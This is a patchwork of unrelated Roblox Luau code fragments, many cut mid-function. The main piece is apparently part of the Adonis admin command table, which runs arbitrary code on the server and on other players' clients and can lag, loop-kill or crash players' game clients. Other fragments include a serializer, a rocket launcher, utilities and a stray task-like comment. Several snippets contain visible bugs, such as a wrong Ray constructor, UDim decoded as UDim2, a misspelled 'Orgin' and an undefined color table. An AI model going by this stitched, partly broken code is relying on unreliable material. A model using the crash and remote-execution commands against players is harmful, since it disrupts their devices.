or Remote.GetGui(plr, "YesNoPrompt", {
Name = "Prompt_MakeScript";
Size = {250, 200},
Title = "Script Confirmation";
Icon = server.MatIcons.Warning;
Question = "Are you sure you want to execute the code directly on the server? This action is irreversible and may potentially be dangerous; only run scripts that you trust!";
Delay = 2;
}) == "Yes"
then]]
local bytecode = Core.Bytecode(args[1])
assert(string.find(bytecode, "\27Lua"), `Script unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`)
local cl = Core.NewScript("Script", args[1], true)
cl.Name = "[Adonis] Script"
cl.Parent = service.ServerScriptService
task.wait()
cl.Disabled = false
Functions.Hint("Ran Script", {plr})
--[[else
Functions.Hint("Operation cancelled", {plr})
end]]
end
};
MakeLocalScript = {
Prefix = Settings.Prefix;
Commands = {"ls", "localscript", "lscript"};
Args = {"code"};
Description = "Executes the given code on your client";
AdminLevel = "Admins";
NoFilter = true;
Function = function(plr: Player, args: {string})
assert(args[1], "Missing LocalScript code (argument #2)")
local bytecode = Core.Bytecode(args[1])
assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`)
local cl = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[1]}`, true)
cl.Name = "[Adonis] LocalScript"
cl.Disabled = true
cl.Parent = plr:FindFirstChildOfClass("Backpack")
task.wait()
cl.Disabled = false
Functions.Hint("Ran LocalScript on your client", {plr})
end
};
LoadLocalScript = {
Prefix = Settings.Prefix;
Commands = {"cs", "cscript", "clientscript"};
Args = {"player", "code"};
Description = "Executes the given code on the client of the target player(s)";
AdminLevel = "Admins";
NoFilter = true;
Function = function(plr: Player, args: {string})
assert(args[2], "Missing LocalScript code (argument #2)")
local bytecode = Core.Bytecode(args[2])
assert(string.find(bytecode, "\27Lua"), `LocalScript unable to be created; {string.gsub(bytecode, "Loadstring%.LuaX:%d+:", "")}`)
local new = Core.NewScript("LocalScript", `script.Parent = game:GetService('Players').LocalPlayer.PlayerScripts; {args[2]}`, true)
for i, v in service.GetPlayers(plr, args[1]) do
local cl = new:Clone()
cl.Name = "[Adonis] LocalScript"
cl.Disabled = true
cl.Parent = v:FindFirstChildOfClass("Backpack")
task.wait()
cl.Disabled = false
Functions.Hint(`Ran LocalScript on {service.FormatPlayer(v)}`, {plr})
end
end
};
Note = {
Prefix = Settings.Prefix;
Commands = {"note", "writenote", "makenote"};
Args = {"player", "note"};
Filter = true;
Description = "Makes a note on the target player(s) that says <note>";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[2], "Missing note (argument #2)")
for _, v in service.GetPlayers(plr, args[1]) do
local PlayerData = Core.GetPlayer(v)
if not PlayerData.AdminNotes then PlayerData.AdminNotes = {} end
table.insert(PlayerData.AdminNotes, args[2])
Functions.Hint(`Added {service.FormatPlayer(v)} Note {args[2]}`, {plr})
Core.SavePlayer(v, PlayerData)
end
end
};
DeleteNote = {
Prefix = Settings.Prefix;
Commands = {"removenote", "remnote", "deletenote"};
Args = {"player", "note (specify 'all' to delete all notes)"};
Description = "Removes a note on the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[2], "Missing note (argument #2)")
for _, v in service.GetPlayers(plr, args[1]) do
local PlayerData = Core.GetPlayer(v)
if PlayerData.AdminNotes then
if string.lower(args[2]) == "all" then
PlayerData.AdminNotes = {}
else
for k, m in PlayerData.AdminNotes do
if string.sub(string.lower(m), 1, #args[2]) == string.lower(args[2]) then
Functions.Hint(`Removed {service.FormatPlayer(v)} Note {m}`, {plr})
table.remove(PlayerData.AdminNotes, k)
end
end
end
Core.SavePlayer(v, PlayerData)
end
end
end
};
ShowNotes = {
Prefix = Settings.Prefix;
Commands = {"notes", "viewnotes"};
Args = {"player"};
Description = "Views notes on the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
local PlayerData = Core.GetPlayer(v)
local notes = PlayerData.AdminNotes
if not notes then
Functions.Hint(`No notes found on {service.FormatPlayer(v)}`, {plr})
continue
end
Remote.MakeGui(plr, "List", {Title = service.FormatPlayer(v), Table = notes})
end
end
};
LoopKill = {
Prefix = Settings.Prefix;
Commands = {"loopkill"};
Args = {"player", "num (optional)"};
Description = "Repeatedly kills the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local num = tonumber(args[2]) or 9999
for _, v in service.GetPlayers(plr, args[1]) do
service.StopLoop(`{v.UserId}LOOPKILL`)
local count = 0
Routine(service.StartLoop, `{v.UserId}LOOPKILL`, 3, function()
local hum = v.Character and v.Character:FindFirstChildOfClass("Humanoid")
if hum and hum.Health > 0 then
hum.Health = 0
count += 1
end
if count == num then
service.StopLoop(`{v.UserId}LOOPKILL`)
end
end)
end
end
};
UnLoopKill = {
Prefix = Settings.Prefix;
Commands = {"unloopkill"};
Args = {"player"};
Description = "Un-Loop Kill";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
service.StopLoop(`{v.UserId}LOOPKILL`)
end
end
};
Lag = {
Prefix = Settings.Prefix;
Commands = {"lag", "fpslag"};
Args = {"player"};
Description = "Makes the target player(s)'s FPS drop";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1]) do
if Admin.CheckAuthority(plr, v, "lag") then
Remote.Send(v, "Function", "SetFPS", 5.6)
end
end
end
};
UnLag = {
Prefix = Settings.Prefix;
Commands = {"unlag", "unfpslag"};
Args = {"player"};
Description = "Un-Lag";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
Remote.Send(v, "Function", "RestoreFPS")
end
end
};
Crash = {
Prefix = Settings.Prefix;
Commands = {"crash"};
Args = {"player"};
Description = "Crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "crash") then
Remote.Send(v, "Function", "Crash")
end
end
end
};
HardCrash = {
Prefix = Settings.Prefix;
Commands = {"hardcrash"};
Args = {"player"};
Description = "Hard-crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "hard-crash") then
Remote.Send(v, "Function", "HardCrash")
end
end
end
};
RAMCrash = {
Prefix = Settings.Prefix;
Commands = {"ramcrash", "memcrash"};
Args = {"player"};
Description = "RAM-crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "RAM-crash") then
Remote.Send(v, "Function", "RAMCrash")
end
end
end
};
GPUCrash = {
Prefix = Settings.Prefix;
Commands = {"gpucrash"};
Args = {"player"};
Description = "GPU crashes the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "GPU-crash") then
Remote.Send(v, "Function", "GPUCrash")
end
end
end
};
Shutdown = {
Prefix = Settings.Prefix;
Commands = {"shutdown"};
Args = {"reason"};
Description = "Shuts the server down";
Filter = true;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
if Core.DataStore then
Core.UpdateData("ShutdownLogs", function(logs)
table.insert(logs, 1, {
User = plr and plr.Name or "[Server]",
Time = os.time(),
Reason = args[1] or "N/A"
})
local nlogs = #logs
if nlogs > 1000 then
table.remove(logs, nlogs)
end
return logs
end)
end
Functions.Shutdown(args[1])
end
};
ServerBan = {
Prefix = Settings.Prefix;
Commands = {"serverban", "ban"};
Args = {"player/user", "reason"};
Description = "Bans the target player(s) from the server";
AdminLevel = "Admins";
Filter = true;
Function = function(plr: Player, args: {string}, data: {any})
local reason = args[2] or "No reason provided"
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if Admin.CheckAuthority(plr, v, "server-ban", false) then
Admin.AddBan(v, reason, false, plr)
Functions.Hint(`Server-banned {service.FormatPlayer(v, true)}`, {plr})
end
end
end
};
UnBan = {
Prefix = Settings.Prefix;
Commands = {"unserverban", "unban"};
Args = {"user"};
Description = "Unbans the target user(s) from the server";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing user (argument #1)")
for _, v in service.GetPlayers(plr, args[1], {
UseFakePlayer = true;
})
do
if Admin.RemoveBan(v.Name) then
Functions.Hint(`{service.FormatPlayer(v, true)} has been unbanned`, {plr})
else
Functions.Hint(`{service.FormatPlayer(v, true)} is not currently banned`, {plr})
end
end
end
};
TrelloBan = {
Prefix = Settings.Prefix;
Commands = {"trelloban"};
Args = {"player/user", "reason"};
Description = "Adds a user to the Trello ban list (Trello needs to be configured)";
Filter = true;
CrossServerDenied = true;
TrelloRequired = true;
AdminLevel = "Admins";
Function = function(plr: Player, args: {string}, data: {any})
local trello = HTTP.Trello.API
if not Settings.Trello_Enabled or trello == nil then return Functions.Hint('Trello has not been configured in settings', {plr}) end
local lists = trello.getLists(Settings.Trello_Primary)
local list = trello.getListObj(lists, {"Banlist", "Ban List", "Bans"})
local level = data.PlayerData.Level
local reason = string.format("Administrator: %s\nReason: %s", service.FormatPlayer(plr), (args[2] or "N/A"))
for _, v in service.GetPlayers(plr, args[1], {
IsKicking = true;
NoFakePlayer = false;
})
do
if level > Admin.GetLevel(v) then
trello.makeCard(
list.id,
string.format("%s:%d", (v and tostring(v.Name) or tostring(v)), v.UserId),
reason
)
pcall(function() v:Kick(reason) end)
Remote.MakeGui(plr, "Notification", {
Title = "Notification";
Icon = server.MatIcons.Gavel;
Message = `Trello-banned {service.FormatPlayer(v, true)}`;
Time = 5;
})
end
end
HTTP.Trello.Update()
end;
};
CustomMessage = {
Prefix = Settings.Prefix;
Commands = {"cm", "custommessage"};
Args = {"Upper message", "message"};
Filter = true;
Description = "Same as message but says whatever you want upper message to be instead of your name.";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[1], "Missing message title (argument #1)")
assert(args[2], "Missing message (argument #2)")
for _, v in service.Players:GetPlayers() do
Remote.RemoveGui(v, "Message")
Remote.MakeGui(v, "Message", {
Title = args[1];
Message = args[2];
Time = (#tostring(args[1]) / 19) + 2.5;
--service.Filter(args[1],plr, v);
})
end
end
};
Nil = {
Prefix = Settings.Prefix;
Commands = {"nil"};
Args = {"player"};
Hidden = true;
Description = "Sends the target player(s) to nil, where they will not show up on the player list and not normally be able to interact with the game";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
v.Character = nil
v.Parent = nil
Functions.Hint(`Sent {service.FormatPlayer(v)} to nil`, {plr})
end
end
};
PromptPremiumPurchase = {
Prefix = Settings.Prefix;
Commands = {"promptpremiumpurchase", "premiumpurchaseprompt"};
Args = {"player"};
Description = "Opens the Roblox Premium purchase prompt for the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
service.MarketplaceService:PromptPremiumPurchase(v)
end
end
};
RobloxNotify = {
Prefix = Settings.Prefix;
Commands = {"rbxnotify", "robloxnotify", "robloxnotif", "rblxnotify", "rnotif", "rn"};
Args = {"player", "duration (seconds)", "text"};
Filter = true;
Description = "Sends a Roblox-styled notification for the target player(s)";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
for _, v in service.GetPlayers(plr, args[1]) do
Remote.Send(v, "Function", "SetCore", "SendNotification", {
Title = "Notification";
Text = args[3] or "Hello, from Adonis!";
Duration = tonumber(args[2]) or 5;
})
end
end
};
Disguise = {
Prefix = Settings.Prefix;
Commands = {"disguise", "masquerade"};
Args = {"player", "username"};
Description = "Names the player, chars the player, and modifies the player's chat tag";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
assert(args[2], "Argument missing or nil")
local userId = Functions.GetUserIdFromNameAsync(args[2])
assert(userId, "Invalid username supplied/user not found")
local username = select(2, xpcall(function()
return service.Players:GetNameFromUserIdAsync(userId)
end, function() return args[2] end))
if service.Players:GetPlayerByUserId(userId) then
error("You cannot disguise as this player (currently in server)")
end
Commands.Char.Function(plr, args)
Commands.DisplayName.Function(plr, {args[1], username})
local ChatService = Functions.GetChatService()
for _, v in service.GetPlayers(plr, args[1]) do
if Variables.DisguiseBindings[v.UserId] then
Variables.DisguiseBindings[v.UserId].Rename:Disconnect()
Variables.DisguiseBindings[v.UserId].Rename = nil
if ChatService then
ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername)
ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`)
end
end
Variables.DisguiseBindings[v.UserId] = {
TargetUsername = username;
Rename = v.CharacterAppearanceLoaded:Connect(function(char)
Commands.DisplayName.Function(v, {v.Name, username})
end);
}
if ChatService then
local disguiseSpeaker = ChatService:AddSpeaker(username)
disguiseSpeaker:JoinChannel("All")
ChatService:RegisterProcessCommandsFunction(`Disguise_{v.Name}`, function(speaker, message, channelName)
if speaker == v.Name then
local filteredMessage = select(2, xpcall(function()
return service.TextService:FilterStringAsync(message, v.UserId, Enum.TextFilterContext.PrivateChat):GetChatForUserAsync(v.UserId)
end, function()
Remote.Send(v, "Function", "ChatMessage", "A message filtering error occurred.", Color3.new(1, 64/255, 77/255))
return
end))
if filteredMessage and not server.Admin.DoHideChatCmd(v, message) then
disguiseSpeaker:SayMessage(filteredMessage, channelName)
if v.Character then
service.Chat:Chat(v.Character, filteredMessage, Enum.ChatColor.White)
end
end
return true
end
return false
end)
end
end
end
};
UnDisguise = {
Prefix = Settings.Prefix;
Commands = {"undisguise", "removedisguise", "cleardisguise", "nodisguise"};
Args = {"player"};
Description = "Removes the player's disguise";
AdminLevel = "Admins";
Function = function(plr: Player, args: {string})
local ChatService = Functions.GetChatService()
for _, v in service.GetPlayers(plr, args[1]) do
if Variables.DisguiseBindings[v.UserId] then
Variables.DisguiseBindings[v.UserId].Rename:Disconnect()
Variables.DisguiseBindings[v.UserId].Rename = nil
pcall(function()
ChatService:RemoveSpeaker(Variables.DisguiseBindings[v.UserId].TargetUsername)
ChatService:UnregisterProcessCommandsFunction(`Disguise_{v.Name}`)
end)
end
Variables.DisguiseBindings[v.UserId] = nil
end
Commands.UnChar.Function(plr, args)
Commands.UnDisplayName.Function(plr, args)
end
};
IncognitoPlayerList = {
Prefix = Settings.Prefix;
Commands = {"incognitolist", "incognitoplayers"};
Args = {"autoupdate? (default: true)"};
Description = "Displays a list of incognito players in the server";
AdminLevel = "Admins";
Hidden = true;
ListUpdater = function(plr: Player)
local tab = {}
for p: Player, t: number in Variables.IncognitoPlayers do
if p.Parent == service.Players then
table.insert(tab, {
Text = service.FormatPlayer(p);
Desc = string.format("ID: %d | Went incognito at: %s", p.UserId, service.FormatTime(t));
})
end
end
return tab
end;
Function = function(plr: Player, args: {string})
local autoUpdate = string.lower(args[1])
Remote.RemoveGui(plr, "IncognitoPlayerList")
Remote.MakeGui(plr, "List", {
Name = "IncognitoPlayerList";
Title = "Incognito Players";
Icon = server.MatIcons["Admin panel settings"];
Tab = Logs.ListUpdaters.IncognitoPlayerList(plr);
Update = "IncognitoPlayerList";
AutoUpdate = if not args[1] or (autoUpdate == "true" or autoUpdate == "yes") then 1 else nil;
})
end
};
}
end
|
-- ROBLOX deviation END
|
local function formatTime(time: number, prefixPower_: number?, padLeftLength_: number?): string
local prefixPower = prefixPower_ or -3
local padLeftLength = padLeftLength_ or 0
local prefixes = { "n", "μ", "m", "" }
local prefixIndex = math.max(0, math.min(mathTrunc(prefixPower / 3) + #prefixes - 1, #prefixes - 1)) + 1
return ("%s %ss"):format(stringPadStart(tostring(time), padLeftLength), prefixes[prefixIndex])
end
exports.default = formatTime
return exports
|
-- GlobalUpdates object:
|
local GlobalUpdates = {
--[[
_updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}
_pending_update_lock = {update_id, ...} / nil, -- [table / nil]
_pending_update_clear = {update_id, ...} / nil, -- [table / nil]
_new_active_update_listeners = {listener, ...} / nil, -- [table / nil]
_new_locked_update_listeners = {listener, ...} / nil, -- [table / nil]
_profile = Profile / nil, -- [Profile / nil]
_update_handler_mode = true / nil, -- [bool / nil]
--]]
}
GlobalUpdates.__index = GlobalUpdates
|
--Made by Stickmasterluke
|
sp=script.Parent
function waitfor(a,b)
while a:FindFirstChild(b)==nil do
a.ChildAdded:wait()
end
return a:FindFirstChild(b)
end
speedboostscript=waitfor(sp,"SpeedBoostScript")
function Equipped()
if sp.Parent:FindFirstChild("SpeedBoostScript")==nil then
local s=speedboostscript:clone()
local tooltag=Instance.new("ObjectValue")
tooltag.Name="ToolTag"
tooltag.Value=sp
tooltag.Parent=s
s.Parent=sp.Parent
s.Disabled=false
local sound=sp.Handle:FindFirstChild("CoilSound")
if sound~=nil then
sound:Play()
end
end
end
sp.Equipped:connect(Equipped)
|
--Make the "Handle" of the gear "Porta-Boy 3000" play a sound for 3 seconds when is close 1 meters away to "Star" object wihout touching it
| |
--[[
Package link auto-generated by Rotriever
]]
|
local PackageIndex = script.Parent.Parent.Parent._Index
local Package = require(PackageIndex["ChalkLua"]["ChalkLua"])
return Package
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Homing Bone" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- local rocketScriptClone = RocketScript:Clone()
-- rocketScriptClone.Parent = Rocket
-- rocketScriptClone.Disabled = false
|
end
fireEvent.OnServerEvent:connect(function(player, target)
if canFire and player.Character == tool.Parent then
canFire = false
-- Create a clone of Rocket and set its color
local rocketClone = Rocket:Clone()
--game.Debris:AddItem(rocketClone, 30)
rocketClone.BrickColor = player.TeamColor
rocketClone.Touched:connect(function(hit)
if hit and hit.Parent and hit.Parent ~= player.Character and hit.Parent ~= tool then
local explosion = Instance.new("Explosion", game.Workspace)
explosion.Position = rocketClone.Position
rocketClone:Destroy()
end
end)
spawn(function()
wait(30)
if rocketClone then rocketClone:Destroy() end
end)
-- Position the rocket clone and launch!
local spawnPosition = (tool.Handle.CFrame * CFrame.new(2, 0, 0)).p
rocketClone.CFrame = CFrame.new(spawnPosition, target) --NOTE: This must be done before assigning Parent
rocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent
rocketClone.Parent = game.Workspace
-- Attach creator tags to the rocket early on
local creatorTag = Instance.new('ObjectValue', rocketClone)
creatorTag.Value = player
creatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats
local iconTag = Instance.new('StringValue', creatorTag)
iconTag.Value = tool.TextureId
iconTag.Name = 'icon'
delay(attackCooldown, function()
canFire = true
end)
end
end)
|
--Get initial waypoint for non-humanoid
|
local function getNonHumanoidWaypoint(self)
--Account for multiple waypoints that are sometimes in the same place
for i = 2, #self._waypoints do
if (self._waypoints[i].Position - self._waypoints[i - 1].Position).Magnitude > 0.1 then
return i
end
end
return 2
end
|
--[[
StreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, maid: Maid) -> void): Maid
Example:
local streamable1 = Streamable.new(someModel, "SomeChild")
local streamable2 = Streamable.new(anotherModel, "AnotherChild")
StreamableUtil.Compound({S1 = streamable1, S2 = streamable2}, function(streamables, maid)
local someChild = streamables.S1.Instance
local anotherChild = streamables.S2.Instance
maid:GiveTask(function()
-- Cleanup
end)
end)
--]]
|
local Maid = require(script.Parent.Maid)
local StreamableUtil = {}
function StreamableUtil.Compound(streamables, handler)
local compoundMaid = Maid.new()
local observeAllMaid = Maid.new()
local allAvailable = false
local function Check()
if (allAvailable) then return end
for _,streamable in pairs(streamables) do
if (not streamable.Instance) then
return
end
end
allAvailable = true
handler(streamables, observeAllMaid)
end
local function Cleanup()
if (not allAvailable) then return end
allAvailable = false
observeAllMaid:DoCleaning()
end
for _,streamable in pairs(streamables) do
compoundMaid:GiveTask(streamable:Observe(function(_child, maid)
Check()
maid:GiveTask(function()
Cleanup()
end)
end))
end
compoundMaid:GiveTask(Cleanup)
return compoundMaid
end
return StreamableUtil
|
-- If there is only one item, any HP above that will be set to that color.
|
local SPECIAL_BALL_COLORS = {
Tank = {
[6] = Color3.fromRGB(135, 133, 146);
},
Summoner = {
[1] = Color3.fromRGB(216, 144, 144);
}
}
local BallColors = {}
function BallColors.Get(BallObject: Part)
local HitPoints = math.ceil(BallObject:GetAttribute("HitPoints"))
local Type = BallObject:GetAttribute("Type")
if (Type and SPECIAL_BALL_COLORS[Type]) then
local SpecialColors = SPECIAL_BALL_COLORS[Type]
if (HitPoints >= next(SpecialColors)) then
if (next(SpecialColors, next(SpecialColors)) == nil) then
local _, Color = next(SpecialColors)
return Color
else
for Threshold, Color in pairs(SpecialColors) do
if (HitPoints <= Threshold) then
return Color
end
end
end
end
end
for Threshold, Color in pairs(DEFAULT_BALL_COLORS) do
if (HitPoints == Threshold) then
return Color
end
end
end
function BallColors.Fade(Color: Color3, Hits: number)
return Color:Lerp(Color3.new(0, 0, 0), Hits / 7.5)
end
return BallColors
|
--[[
Creates a Symbol with the given name.
When printed or coerced to a string, the symbol will turn into the string
given as its name.
]]
|
function Symbol.named(name)
assert(type(name) == "string", "Symbols must be created using a string name!")
local self = newproxy(true)
local wrappedName = ("Symbol(%s)"):format(name)
getmetatable(self).__tostring = function()
return wrappedName
end
return self
end
return Symbol
|
--[[
Calls await and only returns if the Promise resolves.
Throws if the Promise rejects or gets cancelled.
]]
|
function Promise.prototype:expect()
return expectHelper(self:awaitStatus())
end
|
--[[if player.Character:FindFirstChild('WhiteButterfly') == nil then
script.Parent.Parent.Parent.Parent.ItemFrame.Visible = false
end]]
| |
-- Kept this cacheing for backwards compatability.
|
local EnumStorage = {}
local cache = function(storage,enum)
local Table = {}
for _,v in ipairs(enum:GetEnumItems()) do
Table[v.Value] = v
end
storage[enum] = Table
end
for i,enum in ipairs(Enum:GetEnums()) do
cache(EnumStorage,enum)
end
return {
-- Comment for other developers who want to make their own serizliers!
-- This is stupid complicated, alot of contextual information is used to make this work
-- Instance -> Propertyname -> Class -> Class.Name | SubEnum -> EnumValue
-- or Instance|[PropertyName->ClassName(APIInstance[PropertyName].Class)][Value] (as little as 5bytes!)
-- Irregular Conversion ! < More Context > , certain value are contextual such as SubEnum[PropertyName/Class]
--ENCODE: Store EnumValue, SubEnum is contextual.
--DECODE: Index = Enum[SubEnum] | EnumStorage [ Index ] [ EnumValue ] - > Enum[SubEnum][EnumValue]
["EnumItem"] = function(isClass,API,SubEnum,EnumValue)
if isClass then
return string.pack("I2",EnumValue.Value)
else
return EnumStorage[Enum[SubEnum]][string.unpack("I2",EnumValue)]
end
end,
-- Normal Conversion
["ColorSequence"] = function(isClass,ColorSequenceValue)
if isClass then
local encodeStr = ""
local blockSize = string.packsize("f I1 I1 I1")
for i,v in ipairs(ColorSequenceValue.Keypoints) do
local ColorKeypoint = v
local C3 = ColorKeypoint.Value
local r, g, b = math.floor(C3.R*255), math.floor(C3.G*255), math.floor(C3.B*255)
local block = string.pack("f I1 I1 I1",ColorKeypoint.Time,r,g,b) -- further optimizations are possible to store
encodeStr=encodeStr..block
end
return encodeStr
else
local array = {}
local blockSize = string.packsize("f I1 I1 I1")
for i=1,#ColorSequenceValue,blockSize do
local block = ColorSequenceValue:sub(i,i+blockSize)
local Time , r,g,b = string.unpack("f I1 I1 I1",block)
table.insert(array,ColorSequenceKeypoint.new(Time,Color3.new(r/255,g/255,b/255)))
end
return ColorSequence.new(array)
end
end,
["ColorSequenceKeypoint"] = function(isClass,ColorKeypoint)
if isClass then
local C3 = ColorKeypoint.Value
local r, g, b = math.floor(C3.R*255), math.floor(C3.G*255), math.floor(C3.B*255)
return string.pack("f I1 I1 I1",ColorKeypoint.Time,r,g,b) -- further optimizations are possible to store
else
local Time , r,g,b = string.unpack("f I1 I1 I1",ColorKeypoint)
return ColorSequenceKeypoint.new(Time,Color3.new(r/255,g/255,b/255))
end
end,
["NumberSequence"] = function(isClass,NumberSequenceValue)
if isClass then
-- Basic binary array
local encodeStr = ""
local nativeFloatSize = getNativeSize(nil)
local blockSize = nativeFloatSize*3
for i,v in ipairs(NumberSequenceValue.Keypoints) do
local block = deflate(nil,v.Time,v.Value,v.Envelope)
encodeStr = encodeStr..block
end
return encodeStr
else
local array = {}
local nativeFloatSize = getNativeSize(nil)
local blockSize = nativeFloatSize*3
for i=1,#NumberSequenceValue,blockSize do
local block = NumberSequenceValue:sub(i,i+blockSize)
local a,b,c = flate(nil,block,3)
table.insert(array,NumberSequenceKeypoint.new(a,b,c))
end
--warn(array)
return NumberSequence.new(array)
end
end,
["NumberSequenceKeypoint"] = function(isClass,NumberKeypoint)
if isClass then
return deflate(nil,NumberKeypoint.Time,NumberKeypoint.Value,NumberKeypoint.Envelope)
else
local a,b,c = flate(nil,NumberKeypoint,3)
return NumberSequenceKeypoint.new(a,b,c)
end
end,
["Rect"] = function(isClass,RectValue)
if isClass then
return deflate(nil,RectValue.Min.X,RectValue.Min.Y,RectValue.Max.X,RectValue.Max.Y)
else
local a,b,c,d = flate(nil,RectValue,4)
return Rect.new(a,b,c,d)
end
end,
["Ray"] = function(isClass,RayValue)
if isClass then
return deflate(nil,RayValue.Orgin.X,RayValue.Orgin.Y,RayValue.Orgin.Z,RayValue.Direction.X,RayValue.Direction.Y,RayValue.Direction.Z)
else
local x,y,z,x1,y1,z1 = flate(nil,RayValue,6)
return Ray.new(Vector3.new(x,y,z,x1,y1,z1))
end
end,
["PhysicalProperties"] = function(isClass,PhysicalPropertiesValue)
if isClass then
return deflate(nil,PhysicalPropertiesValue.Density,PhysicalPropertiesValue.Friction,PhysicalPropertiesValue.Elasticity,
PhysicalPropertiesValue.FrictionWeight,PhysicalPropertiesValue.ElasticityWeight)
else
local a,b,c,d,e = flate(nil,PhysicalPropertiesValue,5)
return PhysicalProperties.new(a,b,c,d,e)
end
end,
["NumberRange"] = function(isClass,NumberRangeValue)
if isClass then
return deflate(nil,NumberRangeValue.Min,NumberRangeValue.Max)
else
local a,b = flate(nil,NumberRangeValue,2)
return NumberRange.new(a,b)
end
end,
["UDim"] = function(isClass,value)
if isClass then
return deflate(nil,value.Scale,value.Offset)
else
local a,b = flate(nil,value,2)
return UDim2.new(a,b)
end
end,
["Color3"] = function(isClass,C3)
if isClass then
local r, g, b = math.round(C3.R*255), math.round(C3.G*255), math.round(C3.B*255)
return deflate("I1",r,g,b)
else
local r1,g2,b2 = flate("I1",C3,3)
local r,g,b = r1/255,g2/255,b2/255
return Color3.new(r,g,b)
end
end,
["UDim2"] = function(isClass,value)
if isClass then
return deflate(nil,value.X.Scale,value.X.Offset,value.Y.Scale,value.Y.Offset)
else
local a,b,c,d = flate(nil,value,4)
return UDim2.new(a,b,c,d)
end
end,
["Vector3"] = function(isClass,vector)
if isClass then
if vector then
return deflate(nil,vector.X,vector.Y,vector.Z)
end
else
local X,Y,Z = flate(nil,vector,3)
return Vector3.new(X,Y,Z)
end
end,
["Vector3int16"] = function(isClass,vector)
if isClass then
if vector then
return deflate("i2",vector.X,vector.Y,vector.Z)
end
else
local X,Y,Z = flate("i2",vector,3)
return Vector3.new(X,Y,Z)
end
end,
["Vector2"] = function(isClass,vector)
if isClass then
if vector then
return deflate(nil,vector.X,vector.Y)
end
else
local X,Y = flate(nil,vector,2)
return Vector2.new(X,Y)
end
end,
["Vector2int16"] = function(isClass,vector)
if isClass then
if vector then
return deflate("i2",vector.X,vector.Y)
end
else
local X,Y = flate("i2",vector,2)
return Vector2.new(X,Y)
end
end,
["Content"]= function(isClass,str)
return str
end,
["ProtectedString"] = function(isClass,str)
return str
end,
["string"] = function(isClass,str)
return str
end,
["bool"] = function(isClass,bool)
if isClass then
return ({[true]="#",[false]="$"})[bool]
else
return ({["#"]=true,["$"]=false})[bool]
end
end,
["float"] = function(isCLass,float)
if isCLass then
return deflate("f",float)
else
local a = flate("f",float,1)
return a
end
end,
["double"] = function(isCLass,float)
if isCLass then
return deflate("d",float)
else
local a = flate("d",float,1)
return a
end
end,
["int"] = function(isCLass,float)
if isCLass then
return deflate("i",math.floor(float))
else
local a = flate("i",float,1)
return a
end
end,
["int64"] = function(isCLass,float)
if isCLass then
return deflate("i8",math.floor(float))
else
local a = flate("i8",float,1)
return a
end
end,
["SurfaceType"] = function(isClass,surfaceType)
if isClass then
return deflate(nil,surfaceType.Value)
else
local id = flate(nil,surfaceType,1)
return EnumStorage[Enum.SurfaceType][id]
end
end,
["BrickColor"] = function(isClass,brickColor)
if isClass then
return deflate(nil,math.floor(brickColor.Number))
else
local id = flate(nil,brickColor,1)
return BrickColor.new(id)
end
end,
["Material"] = function(isClass,material)
if isClass then
return deflate(nil,material.Value)
else
local id = flate(nil,material,1)
return EnumStorage[Enum.Material][id]
end
end,
["Faces"] = function(isClass,faces)
if isClass then
local byte = splitbyte(string.char(0))
for i,v in ipairs(table.pack(faces.Top,faces.Bottom,faces.Left,faces.Right,faces.Back,faces.Front)) do
byte[i] = v
end
-- table.unpack removes the tuple for some reason ?
return formbyte(faces)
else
local face = {}
local newValues = splitbyte(faces)
for i,v in ipairs(newValues) do
if i <= 5 then
face[i] = v
end
end
return Faces.new(table.unpack(face))
end
end,
["CFrame"] = function(isClass,Cframe)
if isClass then
